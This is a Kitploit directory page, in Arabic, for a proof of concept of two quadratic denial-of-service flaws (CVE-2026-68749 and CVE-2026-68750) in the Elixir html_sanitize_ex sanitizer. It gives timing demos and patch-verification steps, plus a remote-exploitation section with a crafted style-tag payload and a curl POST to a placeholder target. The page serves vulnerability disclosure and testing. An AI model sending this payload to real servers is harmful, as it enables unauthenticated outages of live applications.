Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
the-sanitizer-is-the-weapon-cve-2026-68749-cve-2026-68750-quadratic-dos-in-elixir-html-sanitize-ex — إثبات المفهوم (PoC) الذي يوضح هجوم حجب الخدمة (DoS) التربيعي في مكتبة Elixir html_sanitize_ex عبر HTML مُصمَّم خصيصًا؛ يتضمن قياسات زمنية للأداء، وأوامر curl للاستغلال عن بُعد، والتحقق من الإصدارات المُصحَّحة. | Kitploit
أدوات/GitHubGitHub/hunt-benito/the-sanitizer-is-the-weapon-cve-2026-68749-cve-2026-68750-quadratic-dos-in-elixir-html-sanitize-ex
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويبالهجوم العدائي
GitHubhunt-benito/the-sanitizer-is-the-weapon-cve-2026-68749-cve-2026-68750-quadratic-dos-in-elixir-html-sanitize-ex

the-sanitizer-is-the-weapon-cve-2026-68749-cve-2026-68750-quadratic-dos-in-elixir-html-sanitize-ex

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

إثبات المفهوم (PoC) الذي يوضح هجوم حجب الخدمة (DoS) التربيعي في مكتبة Elixir html_sanitize_ex عبر HTML مُصمَّم خصيصًا؛ يتضمن قياسات زمنية للأداء، وأوامر curl للاستغلال عن بُعد، والتحقق من الإصدارات المُصحَّحة.

عرض المستودع
منذ 7 أياملم تتم المراجعة بعد

CVE-2026-68749 / CVE-2026-68750 — PoC

حجب خدمة تربيعي في html_sanitize_ex < 1.5.3.

توجد المكتبة لتحييد HTML غير الموثوق، لكن مسارَّي كود مستقلَّين بأداء فائق الخطية (super-linear) يسمحان لطلب واحد مصمَّم بعناية بإشغال مجدول BEAM بالكامل لثوانٍ. وعدد قليل من الطلبات المتزامنة يُشبع تجمّع المجدولين فيتوقف التطبيق عن الاستجابة. الأثر يقتصر على التوفّر فقط (CVSS 8.2 — عالية).

CVEالمكوّنموطن الضعفالمحفّز
CVE-2026-68749HtmlSanitizeEx.Scrubber.CSS.scrub/1CWE-1333 (تراجع في التعبير النمطي)تشغيلة طويلة من محارف الكلمات داخل <style> تنتهي بعلامة :
CVE-2026-68750HtmlSanitizeEx.Traverser.traverse/2CWE-407 (اجتياز تربيعي)تشغيلة مسطّحة من وسوم أشقاء مسموحة (مثل <b>a</b> × 20,000)

CVE-2026-68749 لا يمكن الوصول إليه إلا عبر html5/1 (أو مُنقٍّ مخصّص يمدّد :html5). CVE-2026-68750 يوجد على كل نقطة دخول عامة، بما في ذلك basic_html/1 وmarkdown_html/1 وstrip_tags/1.

البنية

root@kitploit:~
mix.exs     # pins html_sanitize_ex to 1.5.2 (the last vulnerable release)
poc.exs     # generates both payloads and times them

إعادة الإنتاج

المتطلبات: Elixir ≥ 1.14 واتصال بالإنترنت (لجلب اعتماد Hex).

root@kitploit:~
mix deps.get          # fetches html_sanitize_ex 1.5.2
mix run poc.exs       # runs both demos and prints timings

المتوقع على النسخة الثغِرة 1.5.2 — أزمنة الهجوم تفوق الأزمنة الحميدة بفارق شاسع. الشكل المتوقع (توضيحي؛ القيم المطلقة تعتمد على العتاد، لكن مرتكزَي الهجوم مأخوذان مباشرة من نشرة EEF CNA):

root@kitploit:~
=== html_sanitize_ex 1.5.2 ===

CVE-2026-68749  — CSS scrubber (html5/1), 80000 chars of 'a'
  benign  (…a!):         ~  milliseconds   (returns near-instantly)
  attack  (…a!:):        ~ 2.4 seconds     (thousands of x slower)
  diff is a single ':' character

CVE-2026-68750  — traverser (basic_html/1), <b>a</b> siblings
   2,000 siblings:       ~  milliseconds
  20,000 siblings:       ~ 1.7 seconds     (10x input -> far more than 10x work)
  ratio > 10 reveals super-linear growth

المغزى هو النسبة: الهجوم أبطأ بمراتب مقدارية من مدخل حميد بحجم مماثل، وإدخال بحجم 10× يكلف جهدًا أكبر بكثير من 10×. رقما 2.4 ثانية (<style> بحجم 80 كيلوبايت) و1.7 ثانية (20,000 وسم أشقاء) منقولان من النشرات الأمنية المنبعية.

التحقق من الإصلاح

عدّل mix.exs وارفع الإصدار المثبَّت إلى الإصدار المُصحَّح:

root@kitploit:~
@vulnerable_version "1.5.3"   # or later — 1.5.3 contains both fixes

ثم أعد التشغيل:

root@kitploit:~
mix deps.update html_sanitize_ex
mix run poc.exs

على الإصدار 1.5.3، تنهار أزمنة المدخلات الحميدة والهجومية إلى نفس مرتبة المقدار، لأن الإصلاح يضع حدًّا أقصى لمجموعة التعبير النمطي ([-\w]+ → [-\w]{1,64}) ويعيد كتابة منطق الاجتياز ليصبح Enum.reduce واحدة + List.flatten/1 واحدة (O(n²) → O(n)).

الاستغلال عن بُعد

في تطبيق Phoenix حقيقي، تحدث هذه الاستدعاءات حيثما يعقّم الخادم نصًا منسّقًا مقدمًا من المستخدم. يكتفي المهاجم بإرسال الحمولة عبر POST كقيمة للحقل — دون الحاجة إلى مصادقة:

root@kitploit:~
PAYLOAD="<style>$(python3 -c "print('a'*80000,end='')")!:</style>"

curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
  -X POST https://target.example.com/comments \
  --data-urlencode "body=$PAYLOAD"

ثمانية طلبات متزامنة من هذا القبيل تُشبع مجدولات BEAM الثمانية كلها على مضيف بثمانية أنوية.

المراجع

  • نشرة EEF CNA (68749): https://cna.erlef.org/cves/CVE-2026-68749.html
  • نشرة EEF CNA (68750): https://cna.erlef.org/cves/CVE-2026-68750.html
  • كوميت الإصلاح (68749): https://github.com/rrrene/html_sanitize_ex/commit/4f4bd9eb254881462c0461fbab74b29188c2c133
  • كوميت الإصلاح (68750): https://github.com/rrrene/html_sanitize_ex/commit/9f5ccedbed230930813f992a1e6906fcf485981e

لأغراض تعليمية / اختبارات مصرَّح بها فقط.

تنزيل الأداة